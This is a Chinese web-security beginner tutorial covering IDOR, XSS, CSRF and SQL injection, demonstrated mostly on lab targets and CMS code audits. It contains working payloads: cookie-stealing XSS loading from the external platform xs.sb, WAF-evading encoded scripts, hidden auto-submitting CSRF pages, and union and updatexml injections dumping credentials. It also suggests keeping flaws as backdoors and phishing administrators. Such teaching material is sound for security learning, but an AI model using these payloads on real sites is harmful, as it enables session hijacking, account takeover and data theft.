web安全入门(更新中)

文章略微有点乱,写的地方也有很多不足,本文如有错误,请及时提醒,避免误导他人

0x01 越权漏洞

1.1漏洞概述

平行越权:比如AB两个用户,A用户可以对B用户进行查看或者修改等等操作,同属于一个用户等级权限的越权操作
垂直越权:由于没有用户权限进行严格的判断,导致低权限账号(比如普通用户)可以去完成高权限账号(比如超级管理员)范围的操作,不同等级的用户必须处于同一个数据表。比如说我们的会员注册点,vip1,vip2,vip3,可能在注册的时候就判断了level=1或者2或者3,修改就直接升级

越权漏洞属于逻辑漏洞,由于权限校验的逻辑不够严谨导致。
每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都一样,因此越权漏洞是很难通过扫描工具发现出来的,往往需要通过手动进行测试

一般出现越权漏洞常见与商城,收货地址修改id,查看修改删除越权。或者订单管理处修改id查看他人点歌单详情,购物车等等地方居多

ID类型:加密ID,逻辑ID,自增ID

1.2平行越权靶机演示

这里使用到了pikachu
我们来到overpermission,点击一下右上角的提示可以得到密码
lucy/123456,lili/123456,kobe/123456
这里我们随便登录lucy,进入了之后可以看到查看个人信息

点击得到url为:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=点击查看个人信息
可以看到username参数就是我们的账户名,修改为lili
http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=点击查看个人信息
可以看到直接查看到直接获取到了其他人信息了

1.3平行越权代码审计

我们可以看到url为op1_mem.php这里我们来看该文件,可以看到只判断了是否登录了,跟踪一下check_op_login函数

只是判断了['op']['username']和
['op']['password']是否被定义

我们查看op1_login.php其实可以看到每次登录就会定义['op']['username']和['password']

继续往下看

if(isset($_GET['submit']) && $_GET['username']!=null){
    //没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
    $username=escape($link, $_GET['username']);
    $query="select * from member where username='$username'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)==1){
        $data=mysqli_fetch_assoc($result);
        $uname=$data['username'];
        $sex=$data['sex'];
        $phonenum=$data['phonenum'];
        $add=$data['address'];
        $email=$data['email'];

这里我们可以看到调用了escape函数跟踪一下

function escape($link,$data){
    if(is_string($data)){
        return mysqli_real_escape_string($link,$data);
    }
    if(is_array($data)){
        foreach ($data as $key=>$val){
            $data[$key]=escape($link,$val);
        }
    }
    return $data;
}

这里我们可以看到先判断了$data是否为字符串如果是就返回被转义的字符串,如果是数组就把值赋值给key然后再次调用该函数再返回
然后看一下execute函数

//判断一下操作是否成功,如果错误返回bool值,如果成功,则返回结果集
function execute($link,$query){
	$result=mysqli_query($link,$query);
	if(mysqli_errno($link)){//最近一次操作的错误编码,没错误返回0,没有输出
		exit(mysqli_error($link));//有错误,返回编码,为true,则打印报错信息
	}
	return $result;
}

可以看到这里就直接执行了$query,然后就是取$result为一个数组赋值给$data再输出结果,可以判断没有做任何限制,导致直接修改$username就带入数据库查询然后再输出出来了

1.4垂直越权靶机演示

一样查看tips可以得到两个账户信息:
这里有两个用户admin/123456,pikachu/000000,admin是超级boss
我们先登录pikachu,只有查看权限

再来登录admin账户,可以看到还有添加账户功能
这里我们添加用户抓包得到请求页面为

/pikachu/vul/overpermission/op2/op2_admin_edit.php
我们退出登录,然后登录pikachu账户再来访问该页面,可以发现直接未授权访问了

我们添加一个test账户可以发现成功添加了

1.5垂直越权代码审计

可以看到这里判断了level,必须为1我们才能访问admin.php

接下来再看一下添加用户的页面

可以看到只判断了是否登录,所以们普通用户一样可以访问然后添加数据
这个实际怎么利用呢?首先我们也不知道该网站下这个op2_admin_edit.php这个文件名,就算有漏洞也无法发现。首先就是根据我们的经验,因为程序员在开发的时候命名规则肯定不是乱取的,比如edit.php,然后就是一些通用的cms,他们的命名规则都是一样的,如果该版本存在这个漏洞我们就可以找到该cms,进行利用。还有就是我们的白盒审计,当然我们也可以把该漏洞留为后门,方便后期维持

1.6bluecms

越权一般是对cookies的验证不严或者没有验证,一般我们审计后台发现某个功能没有包含验证文件,那么很有可能发生越权操作,当然越权有很多不仅仅局限于一个后台访问的问题。在众多大型网站越权问题也时常发生的,这也是漏洞挖掘中大家都比较喜欢的,有些越权在黑盒测试中或许更加容易发现,所以代码审计大家灵活运用,不要局限了你的思路。越权是个大的专题,我应该是讲不了多少还是请大家多看看文章。

1.7实战案例一

我们来到某个商城的收货地址编辑处

url可以看到当前用户id尝试修改

可以直接获取他们的个人信息

1.7实战案例二

我们随便添加一个账户点击保存,然后我们再点击

修改抓包

这里尝试修改mid,可以看到直接获取他们信息

0x02 xss漏洞

2.1漏洞概述

我们如何登录管理员后台:
1.我们找到后台地址然后输入账号密码
2.我们可以不用通过输入账号密码也可以吗?

Cookie:它是一串字符串,这串字符串代表你的身份

PHPSESSID=osfqps4akio5l215qn4rbj8fb7(bluecms)
小tips:如果一个cookie是很多变量和值我们怎么来添加呢,cookie其实跟php一样也是;结尾的
比如我们这里有个cookie然后我们替换它到我们这里

f5刷新就成功登录了

所以说我们登录后台不一定要用sql注入,社工这类方法
xss的最大作用就是获取cookie
Cookie存放于用户的浏览器里面,所以说如果可以操作你的浏览器就可能获取到你的Cookie信息
XSS其实也是注入的一种,称为前端注入比如sql注入其实是把输入的传参当中sql语句执行xss是会把输入的传参当中前端代码执行,前端代码就包括为html,css,javascript,其中js是操作浏览器的语言,可能会想到我不会js怎么办,其实问题不大,因为我们搞渗透测试和开发不一样,我们只需要看,或者掌握一些特殊的语法函数就行了,过多的我们不用学习,比如就单纯的web就包括.net java php 前端代码等等,如果都掌握那就花费大多时间,就js来说,它就可以去做动画这类,所以不用学习太深入,是没有意义的。其实记住一句话就行xss其实就是把用户输入的传参当作前端代码执行

xss能做什么:
盗取cookie(最频繁)
获取内网ip
获取浏览器保存的明文密码
截取网页屏幕
网页上的键盘记录
xss的类型:
反射型
储存型
DOM型

2.2 反射型xss

反射型xss就是你提交的数据成功的实现了xss,但是仅仅是对你这次访问产生了影响,你的传参是不会进入数据库的,是非持久的攻击。
它需要构建一个专门的语句,如果去掉了再刷新是不会执行的,所以反射型xss主要运用于诱骗别人去访问你的链接来获取你的信息,比如说你想入侵一个系统,你知道某会员用户喜欢小动物,说这里面的小猫小狗好可爱来诱骗他点击
我们请求网站的过程:1.请求网站 2.网站返回前端代码 3.我们的浏览器根据前端代码解析执行 4.渲染出页面
什么情况下会你写的东西会被当做js处理?
三种触发方式:
1.标签触发:

<script></script>

我们还是来到pikachu

搜索框我们输入1,url为http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=1&submit=submit
我们把1改为

<script>alert(1)</script>

可以看到弹窗了,达到了弹框的效果说明了我们输入的语句被当作前端代码执行了,如果没有成功说明把它当作字符串输出了,所以弹框一般用来证明是存在的关键,但是我们在证明xss最好还是不要打弹框,因为可能是储存的,这样每次别人访问该网站就出现个弹框就影响了网站的正常操作,那么我们怎么测试?
比如在这里我们什么不输入然后提交

可以看到提示我们输入kobe试试,我们输入1试试

可以看到他说who is 1,i don not care!
这里我们输入<script></script>或者输入<hr />

这里可以看到其实就是执行成功了,但是我们其实证明还是需要弹窗或者直接打攻击代码窃取cookie,因为其他有不确定性因素
2.伪协议触发
伪协议不同于网上所真实存在的协议比如:http://,ftp://等等,伪协议只有关联应用才能够用,比如php:// tencent://(QQ), javascript:伪协议实际上声明了url的主体是任意的javascript代码,就比如说你电脑不装php就没有php://这个伪协议,但是你电脑什么都不装却有http://,https://等协议,伪协议跟标签不一样,标签是浏览器自动,而伪协议是点击触发,需要别人去点击。
比如:

<a href="Javascript:alert(1)">1</a>


我们点击1,可以看到弹框成功

3.事件触发
比如说我中奖500万,我们高兴,那么我中奖这是一个事件,我很高兴这是我的反应。
满足某种条件自动触发比如<img src="#" onerror=alert(11) />

2.3 储存型xss

那么我们如何盗取cookie呢?盗取cookie代码相对复杂,但是我们前辈已经有很多人搭建了,搭建xss平台的一般来说都是做安全的,那么说不定就往我们浏览器里偷点东西,所以我们最好使用无痕的浏览器去访问
比如我们打了一个雅虎,淘宝等大型网站cookie,其实在这个xss平台的后台也会记录,平台管理员就可以用我们打的cookie去一样操作,但是一般我们正常用来他是不会管的
这里我们就用网上的平台https://xs.sb/xss.php

cookie是有实效性的,比如说你登录某个网站长时间不动,你就需要重新登录,keepsession就是为了保持cookie不失效,它会自己隔一段时间去帮你访问一次防止失效,这里来插入我们的靶机

就可以看到获取到我们的cookie等其他信息了

我们这里来抓包其实就可以看到有个xs.sb的请求

这里我们拿一个网上的靶机来测试
我们输入111

再输出,可以看到直接当作字符串输出出来了,说明是被转义了我们看一下


可以看到是被转义了

但是我们发现了这里也存在我们输入的script

<input name="keyword" value="<script>alert(/1/)</script>">,我们尝试”闭合前面

输入

" oninput=alert(1)// 结果可以看到”也被闭合了
<input name="keyword" value="&quot; oninput=alert(1)//">

再尝试一下单引号

' oninput=alert(1)//

可以看到执行成功了

<input name="keyword" value="" oninput="alert(1)//'">

可以看到闭合了前面然后执行了代码,前端是给客户用的。数据库,后台代码是给开发用的,一个企业最先考虑的一般都是用户体验性,其次才是安全性,前端很灵活,也有很多的兼容性,所以//闭合了后面的>也不会出现问题

为什么单引号变成了双引号,其实这里是浏览器的一个渲染效果,这里我们在本地写一个

<form>
<input name='id' type='text' value='<?php echo $_REQUEST['id']?>'>
<input type='submit'>
</form>

可以看到我们写的单引号但是看到的还是双引号,这就是浏览器的渲染效果,我们如何判断呢?其实双引号不行再单引号尝试就行了,前提当然是存在这个漏洞的情况下,还可以直接查看网页源代码

如果我们什么都不写呢

<form>
<input name='id' type='text' value=<?php echo $_REQUEST['id']?>>
<input type='submit'>
</form>

这个时候单双引号都能闭合,这里就是html的容错性的效果

为什么这里只转义双引号不转义单引号?
因为php里面有个函数htmlspecialchars() ,它默认是只转义双引号的,所以有些程序员就以为用了这个函数就可以杜绝此类漏洞产生

<form>
<input name='id' type='text' value='<?php echo htmlspecialchars($_REQUEST['id'])?>'>
<input type='submit'>
</form>

我们输入12”结果为<input name="id" type="text" value="12&quot;">
我们输入12'结果为<input name="id" type="text" value="12" '="">
当然也可以过滤单引号就需要加上ENT_QUOTES,这样单双都过滤了

htmlspecialchars($_REQUEST['id'],ENT_QUOTES)

储存xss一般出现点:任何可能插入数据库的地方,比如:用户注册的时候,留言板,上传文件名,以及管理员可见的报错信息
不进入数据库可不可能存在储存型xss?数据是不一定存储在数据库里面的,其实存不存入数据库跟储存型xss不没有关联的,它的本质就是存储起来然后释放出来,所以你存储在一个txt一个log文件里面,或者某个缓存里面都可以的,比如一个cms你登陆错误会有日志产生,那我们把前台登录信息改为恶意代码,那么就在日志里面出现了问题

储存型xss一定要在有框的地方才行嘛?比如有些cms你在后台登录,会提示上次登录ip,那么我们是否可以操作xff呢,这里还有个小demo,这里我们有个10分钟邮箱,是用来临时接受邮箱信息的,我们给他发我们的xss代码过去
http://24mail.chacuo.net/

可以看到也成功弹窗了,这里就有个总结:
用户的输入,一般控制的很严格。系统的获取,一般控制的不严格
用户的输入就是我们输入进去的东西,系统的获取例如我从数据库中获取,我接受到的邮件,我收到的信息等等,就比如一个钓鱼的手法,我们钓鱼管理员的时候我们让他去下载别的网站的文件他可能就会有所怀疑,但是如果把木马文件存放在他自己的网站里面,他可能就不会怀疑

2.4 xss代码审计一

这里我们用到finecms v5.3.0
这里需要设置网站根目录

这套cms会把错误日志展示到后台里面,而且写入的时候
没有过滤
比如我们随便添加一个m参数
http://127.0.0.1/index.php?c=category&id=3&m=222

可以看到后台就存在错误日志
所以我们构造我们的payload
127.0.0.1/index.php?c=category&id=3&m=<sCRiPt/SrC=//xs.sb/ZqEW>
在后台刷新查看,可以看到成功打到了cookie

这里我们当前用户为123456,替换掉cookie后刷新


可以看到直接为admin账户了
我们来到代码这个问题出现在finecmsfinecmssystemcoreLog.php该文件的170行的write_log函数

然后在传递给fwrite方法的时候没有做任何过滤

然后我们寻找调用write_log函数的地址G:phpstudyPHPTutorialWWWcmsfinecmsfinecmssystemcoreCommon.php

继续查看调用log_message函数的位置
G:phpstudyPHPTutorialWWWcmsfinecmsfinecmssystemcoreExceptions.php
可以看到这个show_404调用了
log_message方法

2.4 xss代码审计二

这里使用了熊海,然后来到后台刷新


先提交抓包看下请求包为

先来到index.php

可以看到请求的为files的目录下的get参数文件,这里就为submit打开
可以看到除了内容其他都没有过滤

2.5 DOM XSS

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

DOM其实就是通过js操作浏览器,这就是一个dom树
所谓的树就是有树枝,树干,分支

Document对象使我们可以从脚本中对HTML页面中的所有元素进行访问
Document对象属性

document.cookie可以获取cookie但是有时候确获取不了,这是因为httponly的原因这是防御的一种手段
我们最常用的就是lastModified我们如果获取的时间f5刷新不变的话说明是个静态网站反之动态
document.write写内容到页面上
页面分为:动态和静态
伪静态:动态页面伪装成静态页面,让黑客不去攻击。静态页面无法产生严重的攻击,因为它没法跟网站进行传参的
几大常见的dom xss
document.write(支持native编码)
innerHTML(用来设置或获取位于对象起始和结束标签内的HTML)
eval(当中代码执行)
http://127.0.0.1/1.html?name=
DOM型xss=>通过js处理后产生的xss,不是储存也不是反射,但是一般来说是反射

<script>
var pos=document.URL.indexOf("name=")+5;
var username = unescape(document.URL.substring(pos,document.URL.length));
var r='<b>'+username+'</b>'
document.write(r);
</script>

比如说这里我们构造一个xss发给受害者,这里其实就是形成一个类似反射的,这个就是dom型xss,就是js处理后的xss,而且不会在服务器日志里面留下任何痕迹

<div id='test'>1</div>
<input type="button" onclick=fun() value="点击有惊喜">
<script>
	function fun(){
	var url = unescape(document.URL);
	var pos = url.indexOf("name=")+5;
	document.getElementById("test").innerHTML="Hi,<b>"+url.substring(pos,url.length)+'</b>';}
</script>

可以看到说可以设置那么

document.getElementById("test").innerHTML='<img src=# onerror=alert(1) />'

这里script标签是不行的,这里记住就行,这是规则问题

那么这里利用就是http://127.0.0.1/2.html?name=再点击就可以了

<h1>hello world</h1>
<script>
var a = location.hash.substr(1);
eval(a);
</script>

location.hash其实就是个锚点(举例百度百科目录),可以理解为本页面的超链接
比如我们构造http://127.0.0.1/3.html#11再location.hash.substr();为#11,输入1就是输出#后面的全部

http://127.0.0.1/3.html#alert(2)

这里看到一个聊天框
添加

<script>alert(1)</script>

被安全狗拦截
http://aaa.com/dom_xss/?id=<script>alert(1)</script>

前文说到document.write支持native编码
http://tool.chinaz.com/Tools/native_ascii.aspx
http://www.aa.com//dom_xss/?aa=u003cu0073u0063u0072u0069u0070u0074u003eu0061u006cu0065u0072u0074u0028u0031u0029u003cu002fu0073u0063u0072u0069u0070u0074u003e

我们同理把我们的攻击代码编码然后诱骗管理员来点击即可,比如说这里有个反馈页面


这里填写我们的恶意地址,可以转成短链接

然后等待上钩
某一些网站,尤其是asp的网站,他检测到我们没有登录,弹窗提醒,点击返回原页面,很多都是只通过js判断,我们直接禁用js直接就访问后台了,这里怎么判断呢?比如我们看存在问题的站点,抓包然后看到

他是通过js判断的,这里我们禁用js,再访问

可以看到直接访问成功了,我们一个正常的跳转发包是302,那就是后端验证

0x03 CSRF漏洞

3.1漏洞概述

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等
CSRF分为get型和post型
1.get型
假如我们添加一个用户管理员url为/add.php?&username=test&password=test,我们就可以把这个url发送给管理员,让他们代替我们访问
2.post型
比如我们删除某篇文章post数据为文章id,那么我们构造出页面修改id就可以让受害者点击删除文章

简单点说,csrf其实就是网站cookie在浏览器里面没有过期,只要不关闭浏览器或者退出登录,那以后只要访问这个网站,都会默认你已经登录得状态,在这个期间攻击者发送构造好得csrf脚本或者包含csrf的链接,可能会执行一些不想做的功能


核心在于缺乏验证
1.像验证码是他最好的防御方法
2.开发为了安全设置token(一个验证机制,每个请求的表单里面都存在一个字段,这个字段就是token,比如我们登录了就setcookie,然后在cookie里面就存在一个token,我们再请求包里添加一个传参请求字段为token=xxx,当数据包里面的传参的token=你的cookie里面的token,就认定你为安全的,大部分的token是不可以伪造的,比如随机数,还有小部分可以比如时间戳)
如何判断是否存在CSRF漏洞?
1 . 判断Referer(Referer值不可被伪造)
2. Token验证(Token是否摆设)
3. 头部验证(Authorizaton)

3.2靶机演示

依然来到我们的pikachu
1.get型
看一下小tips
这里一共有这么些用户vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456
这里我们就来登录vince和allen测试

可以看到两个账户的信息
这里我们点击修改allen的个人资料,抓包可以知道位get请求,请求url为
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=nba+76&email=allen%40pikachu.com&submit=submit,然后我们构造出恶意网页让vince受害者去点击它

构造页面可以用img src去加载

<img src=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png>
<img src=http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=nba+76&email=allen%40pikachu.com&submit=submit>

诱导受害者点击

可以看到信息成功修改了
2.post型
修改页面抓包

POST /pikachu/vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php
Cookie: think_template=default; PHPSESSID=4pcfj8d68kckejmbnb70m1n0t7
Upgrade-Insecure-Requests: 1

sex=boy&phonenum=123456789&add=aaaa&email=allen%40pikachu.com&submit=submit

这里用bp构造poc
诱导kobe用户访问我们html

可以看到信息修改成功
3.token
来到token_get_edit.php

跟踪一下set_token()

该函数会把SESSION中Token销毁,然后生成一个新的Token,并将这个Token传到前端表单中
而当每次提交表单时,这个Token值就会传到后台与SESSION中的Token进行比较,若不相等,此次表单则提交失败。所以黑客由于不能得知用户当前的Token值,从而无法进行CSRF攻击

3.3 74cms

这里来到后台,点击系统,网站管理员,点击添加管理员抓包http://127.0.0.1/cms/csrf_74cms/index.php?m=admin&c=index&a=index

通过burp构造csrf poc

修改我们poc这里添加一个admin2账户

网站管理员点击

我们可以知道bp构造的poc每次都要受害者去点击这里其实我们可以再表单下面添加一个js自动提交

<script> document.forms[0].submit(); </script>

poc为

还可以更加隐蔽

<img src=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png>
<iframe src="./csrf.html" height="0" width="0">

直接长度宽度设置为0

3.4 实战环境

点击添加收货地址,抓包
构造poc
添加成功

DedeCMS-V5.7-UTF8-SP1
url:http://127.0.0.1/index.php?upcache=1
后台:http://127.0.0.1/dede/login.php?gotopage=%2Fdede%2F

构造poc
http://127.0.0.1/uploads/1.php

0x04 sql注入

4.1 mysql操作

1.创建数据库
mysql> Create database admin;
Query OK, 1 row affected (0.00 sec)

2.查询所有数据库
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| admin |
+--------------------+
14 rows in set (0.00 sec)

3.使用数据库 新建一个表
mysql> use admin;
Database changed
mysql> create table users(id int,username varchar(255),password varchar(255));
Query OK, 0 rows affected (0.38 sec)

4.查看数据库,插入数据
mysql> show tables;
+-----------------+
| Tables_in_admin |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)

mysql> insert into users(id,username,password) values(1,"admin","admin");
Query OK, 1 row affected (0.00 sec)

5.查询
mysql> select username from users;
+----------+
| username |
+----------+
| admin |
+----------+
1 row in set (0.00 sec)

mysql> select * from users;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)

6.查询 where 语句
mysql> select * from users where id =1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
7.查看表信息
mysql> desc schemata;
+----------------------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------------------------+--------------+------+-----+---------+-------+
| CATALOG_NAME | varchar(512) | NO | | | |
| SCHEMA_NAME | varchar(64) | NO | | | |
| DEFAULT_CHARACTER_SET_NAME | varchar(32) | NO | | | |
| DEFAULT_COLLATION_NAME | varchar(32) | NO | | | |
| SQL_PATH | varchar(512) | YES | | NULL | |
+----------------------------+--------------+------+-----+---------+-------+
5 rows in set (0.00 sec)

mysql5.0上下有区别5.0以下是多用户单操作,5.0以上是多用户多操作
在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名
在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作
我们经常用到的几个表

SCHEMATA表 : 提供了当前mysql实例中所有数据库的信息。

TABLES 表 : 提供了关于数据库中的表的信息。

COLUMNS 表 :提供了表中的列信息

SCHEMATA表:
mysql> select * from schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | 74cms | utf8 | utf8_general_ci | NULL |
| def | admin | utf8 | utf8_general_ci | NULL |
| def | bluecms | utf8 | utf8_general_ci | NULL |
| def | dedecmsv57utf8sp1 | utf8 | utf8_general_ci | NULL |
| def | dedecmsv57utf8sp2 | utf8 | utf8_general_ci | NULL |
| def | finecms | utf8 | utf8_general_ci | NULL |
| def | mysql | utf8 | utf8_general_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | pikachu | utf8 | utf8_general_ci | NULL |
| def | test | latin1 | latin1_swedish_ci | NULL |
| def | xhcms | utf8 | utf8_general_ci | NULL |
| def | xionghai | utf8 | utf8_general_ci | NULL |
| def | zzzcms | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
14 rows in set (0.00 sec)

TABLES:
mysql> select table_name from information_schema.tables where table_schema="admin";
+------------+
| table_name |
+------------+
| users |
+------------+
1 row in set (0.00 sec)

mysql> select table_name from information_schema.tables where table_schema=0x61646D696E;
+------------+
| table_name |
+------------+
| users |
+------------+
1 row in set (0.00 sec)

COLUMNS:
mysql> select column_name from information_schema.columns where table_schema="admin";
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
3 rows in set (0.00 sec)

user 表保存的用户密码 和host等等信息
mysql> select user,password from user;
+------+-------------------------------------------+
| user | password |
+------+-------------------------------------------+
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+------+-------------------------------------------+
3 rows in set (0.00 sec)

ORDER BY 语句用于根据指定的列对结果集进行排序。
如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。
mysql> select * from users where id =1 order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id =1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
mysql> select * from users where id =1 union select 1,2,3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
| 1 | 2 | 3 |
+------+----------+----------+
2 rows in set (0.00 sec)

ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
length(str) : 返回给定字符串的长度,如 length("string")=6
substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
也可以 substr(string from start for length)
substr()、stbstring()、mid() 三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,'',str2):将字符串str1和str2的数据查询到一起,中间用连接

group_concat(username) :将username数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 5:查询前5个 limit 1,1: 查询第2个数 limit n,1: 查询第n+1个数

也可以 limit 1 offset 0

单行注释:# --
多行注释:/**/

4.2 版本收集与路径

识别数据库版本有助于我们进一步对数据库进行注入我们可以用到 version() @@version /!版本号/
/!/ 意为在xxx版本之上执行
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.00 sec)

mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id =-1 union select 1,/!50553user()/,3;
+------+----------------+----------+
| id | username | password |
+------+----------------+----------+
| 1 | root@localhost | 3 |
+------+----------------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id =-1 union select 1,/!50554user()/,3;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3' at line 1
其中version是5位数字的版本号,只有MySQL版本大于或者等于此版本才会执行其后的SQL语句,如果省略版本号,则都会执行
路径的话一般用@@datadir就可以了然后大概反猜下网站路径 操作系统 @@version_compile_os
mysql> select @@datadir;
+-------------------------------------+
| @@datadir |
+-------------------------------------+
| G:phpstudyPHPTutorialMySQLdata |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win32 |
+----------------------+
1 row in set (0.00 sec)

version(): 查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统

4.3 判断是否存在注入

1.闭合操作看是否报错,如果报错可能存在
2.and 1=1 或者 and 1=2 等操作,and 1>2 一样,看是否显示一样
3.时间盲注,and sleep(10)会延迟10秒
容易出现sql注入的地方
凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。

4.4 union联合注入

union联合查询适用于有显示列的注入,我们可以通过order by判断列数,前面解释了原因
包括后面我们演示的都是sqllabs,为了方便演示我们添加代码,把sql语句全部显示出来
echo $sql."
";
1.判断是否存在注入
http://127.0.0.1/sql/Less-2/?id=1 and 1=1 --+ 正常
http://127.0.0.1/sql/Less-2/?id=1 and 1=2 --+ 不正常
2.判断多少列
http://127.0.0.1/sql/Less-2/?id=1 order by 3 --+ 正常
http://127.0.0.1/sql/Less-2/?id=1 order by 4 --+ 不正常
说明3列
3.判断显示的列
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,3 --+
返回2,3
4.查询表名
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
返回emails,referers,uagents,users
5.查询users表下的列
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="users" --+
返回id,username,password
6.查询数据
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,username,password from users limit 0,1 --+

4.5 报错注入

利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息
参考链接:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
UpdateXml报错注入
UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
第三个参数:new_value,String 格式,替换查找到的符合条件的数据

1.查询数据库版本用户等信息
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
2.查询表
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --+
3.查询列
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x7e),1) --+
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x7e),1) --+
4.查询数据
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+
